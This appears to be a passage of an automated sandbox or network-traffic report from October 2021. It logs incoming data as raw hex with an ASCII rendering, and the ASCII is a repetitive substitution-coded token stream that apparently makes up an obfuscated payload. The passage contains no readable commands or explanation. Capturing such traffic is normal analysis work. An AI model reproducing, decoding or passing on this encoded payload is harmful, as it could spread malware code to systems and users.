2021-10-29 18:29:05 UTC	1047	IN	Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 Data Ascii: DW O DW O DE O XW O DW O DW O DW O DW O DW O DW O EJ O DW O EO O Ep O DW O mE O qqM O DW O Xp O DW O EM O qqM O DX O mE O mE O mp O DE O DW O DM O qOE O DW O MO O qOp O DW O qOp O DW O EJ O Xq O DW O ME O DW O DD O qqJ O DW O EJ O EE O DW O Ep O DW O DD
2021-10-29 18:29:05 UTC	1049	IN	Data Raw: 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 Data Ascii: O O DW O DW O qOp O DW O Eq O qOE O DW O qOO O DW O DW O qOp O DW O EJ O Xq O DW O MX O qqM O DW O qOp O DW O EJ O Xq O DW O ME O DW O DD O qOX O DW O DE O DW O DW O XM O Xq O DD O mM O DW O EJ O Xq O DW O ME O DW O DD O qqX O DW O EJ O Ep O DW O Ep O DW
2021-10-29 18:29:05 UTC	1050	IN	Data Raw: 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 Data Ascii: O DW O EJ O Ep O DW O XM O Xq O DD O qqD O DW O DE O DW O DW O qOO O DW O DD O qqX O DW O DE O DW O DW O XW O qOp O DD O mM O DW O Eq O WJ O DW O EM O qOp O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O Ep
2021-10-29 18:29:05 UTC	1051	IN	Data Raw: 20 57 6d 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 Data Ascii: Wm O Xq O EE O DW O DW O XO O mE O mE O qOp O Xq O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O Em O Xq O DD O qqM O DW O qqM O DW O EO O qqW O DW O DE O Xq O DX O qJq O DW O qqM O DW O DW O mE O mE
2021-10-29 18:29:05 UTC	1053	IN	Data Raw: 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 44 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 Data Ascii: D O mX O DW O EJ O qOE O DW O Ep O DW O DD O DX O DW O Eq O qqM O DW O XM O Xq O DD O qJJ O DW O EJ O EE O DW O EM O qOp O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O EE O DW O Ep O XD O DD O qOE O D
2021-10-29 18:29:05 UTC	1054	IN	Data Raw: 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 Data Ascii: O MM O qqM O DD O qqJ O DW O EJ O Xq O DW O ME O Xq O DD O qqX O DW O Eq O WJ O DW O Ep O DW O DW O qqq O DW O EO O qOp O DW O ED O DW O DD O MO O DW O DE O qOE O DW O EM O qOp O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O D
2021-10-29 18:29:05 UTC	1058	IN	Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 45 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 Data Ascii: O DW O DW O XO O mE O mE O qOp O Xq O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DX O DW O DW O EO O Xq O DD O qqM O DE O Xp O DW O EO O EE O DD O DE O DW O DW O XJ O DD O DW O DW O DW O mE O mE O mp O DW O DW O
2021-10-29 18:29:05 UTC	1062	IN	Data Raw: 57 20 4f 20 58 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f Data Ascii: W O XW O DM O DW O DW O DX O mE O mE O WJ O DW O DW O Xq O qqM O DD O qqX O DW O Eq O mX O DW O MM O DW O DD O qOm O DW O EJ O Xq O DW O ME O Xq O DD O qOW O DW O Eq O qOE O DW O MX O DW O DD O qqJ O DW O EJ O Xq O DW O qOq O Xq O DW O DW O DW O DW O DW O
2021-10-29 18:29:05 UTC	1066	IN	Data Raw: 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 Data Ascii: DW O MX O qOp O DD O qqD O DW O Eq O XW O DW O MX O qOp O DD O mX O DW O DE O DW O DW O XD O qOp O DD O qOm O DW O EJ O Ep O DW O ME O Xq O DD O qOm O DW O Eq O Ep O DW O MX O DW O DD O qOX O DW O EJ O EE O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW
2021-10-29 18:29:05 UTC	1071	IN	Data Raw: 44 45 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 Data Ascii: DE O Ep O DW O qOO O qOp O DW O Ep O DW O EM O qqM O DX O mE O mE O mp O DE O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O qOX O DW O DW O DW O DW O DW O DW O DD O qqM O DW O qJJ O DW O DE O mX O DW O DE O DW O DX O qqD O DW O mE O mE
2021-10-29 18:29:05 UTC	1075	IN	Data Raw: 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 Data Ascii: O DW O MO O Xq O DW O DW O DW O DW O DW O DW O DW O DW O DW O DD O XW O DW O DW O DW O DW O DW O DE O qOJ O DW O Eq O Ep O DW O EE O qOp O DW O EM O DW O XO O DW O DX O mE O mE O mp O DW O DW O DM O Xq O DW O MO O Xq O DD O qOM O DW O Eq O DM O DW O qOO
2021-10-29 18:29:05 UTC	1079	IN	Data Raw: 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 Data Ascii: W O Eq O qOE O DW O MX O qOp O DD O qqO O DW O DD O EE O DW O XW O qqM O DD O qOX O DW O Eq O qqM O DW O MO O Xq O DD O qOD O DW O EJ O Xq O DW O Ep O DW O DD O EO O DW O EO O qOp O DW O XJ O Xq O DW O qOp O DW O DM O XM O DW O ME O Xq O DD O qqW O DW O E
2021-10-29 18:29:05 UTC	1083	IN	Data Raw: 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 Data Ascii: DW O Eq O Xq O DW O Ep O DW O DD O EO O DW O EJ O qOp O DW O MM O DW O DD O qqW O DW O Eq O WD O DW O MM O qOp O DD O qOX O DW O EJ O Ep O DW O Ep O DW O DD O EX O DW O Eq O XW O DW O MX O qOp O DD O mM O DW O DD O Xq O DW O XW O qOp O DD O qOX O DW O Eq
2021-10-29 18:29:05 UTC	1085	IN	Data Raw: 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 Data Ascii: O DW O qOp O DW O DE O qOp O DW O XJ O qOp O DD O qqX O DW O EJ O Ep O DW O XM O qqM O DD O qOX O DW O DE O DW O DW O XD O Xq O DD O DD O DW O DM O EE O DW O Ep O DW O DD O EO O DW O Eq O qqM O DW O MO O Xq O DD O WO O DW O Eq O DM O DW O qOO O DW O DD O
2021-10-29 18:29:05 UTC	1089	IN	Data Raw: 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 45 44 Data Ascii: D O qOX O DW O DE O DW O DW O MM O qqM O DD O Wp O DW O EJ O EE O DW O qOO O DW O DD O qOX O DW O Eq O mX O DW O Ep O DW O DD O WO O DW O Eq O DM O DW O MM O qOp O DD O qqJ O DW O Eq O DM O DW O XM O qOp O DD O qqW O DW O Eq O XW O DW O MM O qqM O DD O ED
2021-10-29 18:29:05 UTC	1093	IN	Data Raw: 57 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 Data Ascii: W O qOO O qqM O DD O qJJ O DW O DE O DW O DW O XD O qOp O DD O qqJ O DW O EJ O EE O DW O qOO O DW O DD O qOm O DW O DE O DW O DW O XW O qqM O DD O Xq O DW O DX O Ep O DW O DE O Xq O DD O XX O DW O Eq O qOE O DW O MX O qOp O DD O qOE O DW O Eq O WD O DW O
2021-10-29 18:29:05 UTC	1097	IN	Data Raw: 20 44 44 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f Data Ascii: DD O Eq O DW O Eq O qOE O DW O MX O DW O DD O qOX O DW O DM O qOE O DW O MX O qOp O DD O qOM O DW O Eq O WD O DW O DW O DW O DD O ME O DW O qOp O DW O DW O DW O Xq O DW O qqM O DW O DX O Xq O DW O EE O DW O DW O Wp O DW O DX O DW O DW O EX O DW O DD O qO
2021-10-29 18:29:05 UTC	1101	IN	Data Raw: 20 45 70 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 Data Ascii: Ep O DW O EE O qOp O DW O DW O DW O DW O DW O DW O XJ O DW O DW O DW O DW O DW O DM O DW O XD O qOp O DD O qOm O DW O EJ O Ep O DW O XJ O qOp O DD O qqJ O DW O Eq O qqM O DW O MO O Xq O DD O Em O DW O Eq O WJ O DW O MO O qOp O DD O qqX O DW O DW O DW O D
2021-10-29 18:29:05 UTC	1105	IN	Data Raw: 57 4f 20 4f 20 45 45 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 57 71 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 57 70 20 4f 20 71 4f 45 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 71 4a 4a 20 4f 20 58 57 20 4f 20 57 4f 20 4f 20 58 44 20 4f 20 6d 58 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 4d 4f 20 4f 20 57 71 20 4f 20 45 45 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 71 71 71 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 44 58 20 4f 20 71 71 4d 20 4f 20 71 71 58 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 71 4f 4f 20 4f 20 71 4f 44 20 4f 20 45 45 20 4f 20 57 6d 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 4d 58 20 4f 20 45 71 20 4f 20 71 4f 58 20 Data Ascii: WO O EE O qJJ O qqJ O Wq O ME O XE O Wp O qOE O MX O Wq O qOO O qJJ O XW O WO O XD O mX O qOO O Eq O qOX O qqE O MO O Wq O EE O mp O DX O Xq O qqq O qOp O Ep O DX O qqM O qqX O XM O XX O EX O qqD O qOO O qOD O EE O Wm O XM O XX O DD O qqM O MX O Eq O qOX
